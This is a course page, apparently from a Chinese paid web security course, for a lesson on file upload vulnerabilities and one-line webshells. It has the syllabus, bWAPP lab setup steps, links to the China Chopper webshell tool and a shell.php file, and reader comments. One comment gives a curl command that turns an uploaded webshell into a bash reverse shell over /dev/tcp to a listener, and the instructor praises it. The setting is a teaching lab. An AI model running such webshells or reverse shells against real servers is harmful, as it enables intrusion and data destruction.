Web 安全攻防实战
王昊天
螣龙安科创始人兼 CEO
25016 人已学习
新⼈⾸单¥68
课程目录
已完结/共 106 讲
第二章:Web安全之后端安全 (46讲)
Web 安全攻防实战
登录|注册
留言
63
收藏
沉浸
阅读
分享
手机端
回顶部
当前播放: 11 | 文件上传漏洞:漏洞原理&一句话木马
00:00 / 00:00
高清
  • 高清
1.0x
  • 2.0x
  • 1.5x
  • 1.25x
  • 1.0x
  • 0.75x
  • 0.5x
网页全屏
全屏
00:00
付费课程,可试看
01 | 课程介绍
02 | 内容综述
03 | Web安全前端基础:HTML
04 | Web安全前端基础:CSS、JavaScript
05 | 探究网站的运作原理:用Python写一个简单的Web App
06 | Web框架的运作原理:用Django快速搭建一个网站
07 | HTTP协议是怎么工作的?
08 | 常见的Web安全漏洞都有哪些?
09 | Web渗透工具入门:Burp Suite、cURL、Postman
10 | Web渗透插件入门:Wappalyzer、HackBar
11 | 文件上传漏洞:漏洞原理&一句话木马
12 | 文件上传漏洞初阶:后缀名绕过&原理探究
13 | 文件上传漏洞中阶:前端验证绕过、.htaccess绕过、大小写绕过
14 | 文件上传漏洞高阶:文件流绕过、字符串截断绕过、文件头检测绕过
15 | 文件上传漏洞:初探源码审计
16 | 文件上传漏洞:初探Fuzz
17 | Web安全后端基础:数据库的基本概念
18 | Web安全后端基础:极简MySQL入门
19 | SQL注入漏洞的原理及其危害
20 | 从协议视角看注入:GET型注入攻击及防御
21 | 从协议视角看注入:POST型注入攻击及防御
22 | SQL注入实战:判断SQL注入点&防御方式
23 | 宏观视角看注入:5种不同的SQL注入类型
24 | SQL注入实战:利用时间盲注绕过无报错无回显场景
25 | SQL注入实战:隐蔽的HTTP头盲注
26 | SQL注入实战:利用数据库的bug进行报错注入
27 | SQL注入实战:实施报错注入攻击
28 | SQL注入实战:威力巨大的堆叠注入
29 | SQL注入实战:游离在常规分类外的OOB注入
30 | SQL注入实战:浅谈OOB注入原理
31 | SQL注入实战:OOB注入之环境准备
32 | SQL注入实战:OOB注入关键函数解析之load_file
33 | SQL注入实战:实施OOB注入攻击
34 | SQL注入实战:如何绕过WAF之混淆注入原理
35 | SQL注入实战:如何绕过WAF之union、where、limit过滤绕过
36 | SQL注入实战:如何绕过WAF之group by、select、单引号、hex、unhex、substr绕过
37 | SQL注入实战:如何绕过WAF之空格、等号、双写、双重编码绕过
38 | SQL注入实战:如何绕过WAF之数据库底层编码注入攻击
39 | SQL注入实战:如何绕过WAF之二次注入攻击
40 | SQL注入实战:激动人心的命令执行
41 | SQL注入实战:webshell类型命令执行与交互
42 | SQL注入实战:UDF类型命令执行与交互
43 | SQL注入实战:玩转Linux权限管理之用户和组
44 | SQL注入实战:玩转Linux权限管理之文件权限
45 | SQL注入实战:自动化注入攻击之了解sqlmap
46 | SQL注入实战:玩转sqlmap之携带cookie
47 | SQL注入实战:玩转sqlmap之通过level设定检测深度
48 | SQL注入实战:玩转 sqlmap之读写server文件
49 | SQL注入实战:玩转sqlmap之实战脱库
50 | SQL注入实战:自动化注入攻击之FuzzDB+Burp组合拳
51 | SQL注入实战:欣赏优秀的Web后门之核心功能
52 | SQL注入实战:欣赏优秀的Web后门之免杀
53 | SQL注入实战:面向NoSQL数据库的注入攻击
54 | SQL注入实战:浅谈SQL注入防御方式及原理之预编译
55 | SQL注入实战:浅谈SQL注入防御方式及原理之过滤
56 | 加密算法与随机数
57 | Spring框架安全攻击和防御 - 什么是框架级漏洞
58 | Spring框架安全攻击和防御 - CVE-2017-8046利用
59 | Spring框架安全攻击和防御 - CVE-2017-8046分析
60 | 反射型XSS漏洞原理、案例及防御措施
61 | 存储型XSS漏洞原理、案例及防御措施
62 | DOM型XSS漏洞原理、案例及防御措施
63 | 伪协议与编码绕过
64 | XSS蠕虫实战案例分析
65 | XSS混淆编码
66 | CSRF跨站请求伪造漏洞原理、攻击演练
67 | 同源策略及跨源访问
68 | XSS及CSRF综合利用案例分析:点击劫持
69 | HTML5新标签及相应的安全分析(一)
70 | HTML5新标签及相应的安全分析(二)
71 | XSS之模板注入 - 初探Node.js模板引擎
72 | XSS之模板注入 - 模板引擎与XSS的关系
73 | XSS之模板注入 - 经典注入手法
74 | Javascript与RCE(远程代码执行)
75 | BlackHat议题追踪:XSS的危害不够大? - 构造攻击链
76 | BlackHat议题追踪:XSS的危害不够大? - CSRF到XSS
77 | BlackHat议题追踪:XSS的危害不够大? - XSS到RCE
78 | SSRF服务端请求伪造
79 | Apache安全专题 - 配置错误诱发的漏洞
80 | Apache安全专题 - CVE-2017-15715
81 | Nginx安全专题 - CRLF注入攻击
82 | Nginx安全专题 - CVE-2017-7529
83 | Tomcat安全专题
84 | PHP安全专题:了解PHP环境
85 | PHP安全专题:远程(本地)文件包含
86 | PHP安全专题:学习黑魔法函数
87 | PHP安全专题:序列化及反序列化漏洞
88 | PHP安全专题:浅谈PHP安全编码
89 | Java Web安全专题:Java Web基础
90 | Java Web安全专题:浅谈代码审计思路
91 | Node.js安全专题:Node.js基础
92 | Node.js安全专题:Express及其组件
93 | Node.js安全专题:Node.js安全开发技术
94 | Node.js安全专题:Node.js漏洞审计
95 | DDoS之协议层拒绝服务攻击:SYN泛洪、UDP泛洪、ICMP泛洪
96 | DDoS之应用层拒绝服务攻击:Slowloris攻击、HTTP Post DoS
97 | 如何做好认证与会话管理?
98 | 访问控制:水平权限&垂直权限
99 | 互联网公司运营安全、业务安全、业务逻辑安全策略规范
100 | 如何做好用户隐私保护?—— 开发者视角
101 | 如何做好用户隐私保护?—— 用户体验及产品设计视角
102 | 网络钓鱼防范:钓鱼网站、邮件钓鱼的防控
103 | 怎样建立安全开发流程(SDL)?
104 | 漏洞修补应当遵循怎样的流程?
105 | 如何建立安全监控规范?
106 | 结束语
本节摘要

1. Docker 镜像获取及启动方法:

复制代码
# 切换国内源
vim /etc/docker/daemon.json
{
"registry-mirrors": ["https://hub-mirror.c.163.com/"]
}
service docker restart
# 拉取镜像
docker pull raesene/bwapp
docker run -d -p 80:80 raesene/bwapp
# 根据课程中的演示搭建好 bWAPP 实验环境后,以后再启动 bWAPP
docker container list -a # 查看 container id
docker start xxx # xxx 就是上一步获得的 container id,运行完这条命令后,访问响应的网址即可

2. 中国菜刀下载地址(保险起见,下载后请做 MD5 验证):
https://github.com/raddyfiy/caidao-official-version

3. shell.php 文件下载
https://github.com/geektime-geekbang/WebSecurity/tree/master/Chapter_2_code

如果你无法从 GitHub 正常下载课件及 Demo,请打开下方链接进行下载:
https://gitee.com/geektime-geekbang/WebSecurity

展开
登录 后留言

全部留言(63)

  • 最新
  • 精选
Geek_7c4953
从漏洞原理上来看,似乎文件上传漏洞仅适用于脚本后端程序,是不是非脚本后端程序(包括了不适用任何形式的脚本)就没有这个问题了呢?

作者回复: 比如呢,Java 是编译型和解释型语言的结合体,不算脚本语言,但是也会存在文件上传漏洞。这个漏洞主要是对上传的文件审核不严格导致的,和后端是不是脚本语言没有关系。我想,你大概问的是webshell不能是binary这个问题吧,其实webshell也可以是binary的,也就是编译之后的产物,https://security.tencent.com/index.php/blog/msg/104,这里就演示了一种binary形式的webshell。目前之所以我们遇到的大部分都是脚本webshell,是因为后端程序主要是脚本来构建的,如果后端是通过C++来构建的应用程序,其实我们也是可以上传一个so或者dll文件用作webshell也是可行的。

2020-07-09
5
null
docker pull registry.cn-shanghai.aliyuncs.com/yhskc/bwapp 是不是没有了?拉取不到

作者回复: 镜像貌似不在了,采用以下方法叭😊: 配置Docker加速: vi /etc/docker/daemon.json 添加: { "registry-mirrors":["https://docker.mirrors.ustc.edu.cn/"] } 重启Docker: systemctl daemon-reload systemctl restart docker Docker镜像获取方法: docker pull raesene/bwapp docker run -d -p 80:80 raesene/bwapp

2022-08-13
2
2
Alfie
你好,添加了阿里的镜像加速,但还是无法下载,资源限制被拒绝,Linux 系统上无法下载 # docker pull registry.cn-shanghai.aliyuncs.com/yhskc/bwapp Using default tag: latest Error response from daemon: pull access denied for registry.cn-shanghai.aliyuncs.com/yhskc/bwapp, repository does not exist or may require 'docker login': denied: requested access to the resource is denied

作者回复: 镜像貌似不在了,采用以下方法叭😊: 配置Docker加速: vi /etc/docker/daemon.json 添加: { "registry-mirrors":["https://docker.mirrors.ustc.edu.cn/"] } 重启Docker: systemctl daemon-reload systemctl restart docker Docker镜像获取方法: docker pull raesene/bwapp docker run -d -p 80:80 raesene/bwapp

2022-06-02
7
2
Kevin⚡️Zhou
这节课尝试了一个很有趣的反向shell, = Mac端运行 nc -lv 8888 = 使用curl命令 curl --data-urlencode "hacker=shell_exec(\"/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.0.13/8888 0>&1 ' \");" http://127.0.0.1/images/shell.php # 192.168.0.13是mac的局域网地址 这样可以获得一个反向shell进入docker容器中rm -rf啦

作者回复: 从webshell->反弹sys shell,发散思维,赞👍

2020-07-18
2
2
Long
请问,我的这个shell.php是上传到了PC的哪个文件夹里面呀?我用的是windows10.

作者回复: 上传的文件夹是docker内部,可以通过docker exec -it 指令与docker交互,然后找到目标路径,docker的volume有专门的存储地址,并且需要docker解析,和虚拟机很像,所以shell.php在PC上是找不到的。

2020-07-14
2
2
hhhh
老师命好,后端要不是php,比如是java有啥方法吗?如果传个带js的html是不是也能在客户端做一些事情。。

作者回复: 从功能上,后端如果是java的话,也是可以做webshell的,比如java EE服务器可以用war包,jsp服务器可以直接做jsp webshell。关于带js的html,确实是可以做一些事情,但是如果已经可以上传webshell的情况下,其实权限已经比较高了,传webshell要更好一些,XSS就是修改前端代码的一种攻击方式,这部分我们后面会有专题来讲。

2020-07-18
2
1
清风徐来
pull access denied for registry.cn-shanghai.aliyuncs.com/yhskc/bwapp, repository does not exist or may require 'docker login': denied: requested access to the resource is denied 镜像不存在了?

作者回复: 镜像貌似不在了,采用以下方法叭😊: 配置Docker加速: vi /etc/docker/daemon.json 添加: { "registry-mirrors":["https://docker.mirrors.ustc.edu.cn/"] } 重启Docker: systemctl daemon-reload systemctl restart docker Docker镜像获取方法: docker pull raesene/bwapp docker run -d -p 80:80 raesene/bwapp

2022-11-07
清风徐来
报错:pull access denied for registry.cn-shanghai.aliyuncs.com/yhskc/bwapp, repository does not exist or may require 'docker login': denied: requested access to the resource is denied 镜像是不是不存在了?

作者回复: 镜像貌似不在了,采用以下方法叭😊: 配置Docker加速: vi /etc/docker/daemon.json 添加: { "registry-mirrors":["https://docker.mirrors.ustc.edu.cn/"] } 重启Docker: systemctl daemon-reload systemctl restart docker Docker镜像获取方法: docker pull raesene/bwapp docker run -d -p 80:80 raesene/bwapp

2022-11-07
fromzerotohero
docker镜像拉不下来,我已经登陆阿里云镜像仓库成功了,还是提示:docker: Error response from daemon: pull access denied for registry.cn-shanghai.aliyuncs.com/yhskc/bwapp, repository does not exist or may require 'docker login': denied: requested access to the resource is denied。

作者回复: 镜像貌似不在了,采用以下方法叭😊: 配置Docker加速: vi /etc/docker/daemon.json 添加: { "registry-mirrors":["https://docker.mirrors.ustc.edu.cn/"] } 重启Docker: systemctl daemon-reload systemctl restart docker Docker镜像获取方法: docker pull raesene/bwapp docker run -d -p 80:80 raesene/bwapp

2022-06-12
wcf
镜像 pull 不下来, 报错. 加了阿里云镜像源也一样.难道镜像源必须是同一个区的嘛? ``` docker pull registry.cn-shanghai.aliyuncs.com/yhskc/bwapp Using default tag: latest Error response from daemon: pull access denied for registry.cn-shanghai.aliyuncs.com/yhskc/bwapp, repository does not exist or may require 'docker login': denied: requested access to the resource is denied ```

作者回复: 镜像貌似不在了,采用以下方法叭😊: 配置Docker加速: vi /etc/docker/daemon.json 添加: { "registry-mirrors":["https://docker.mirrors.ustc.edu.cn/"] } 重启Docker: systemctl daemon-reload systemctl restart docker Docker镜像获取方法: docker pull raesene/bwapp docker run -d -p 80:80 raesene/bwapp

2022-06-06
收起评论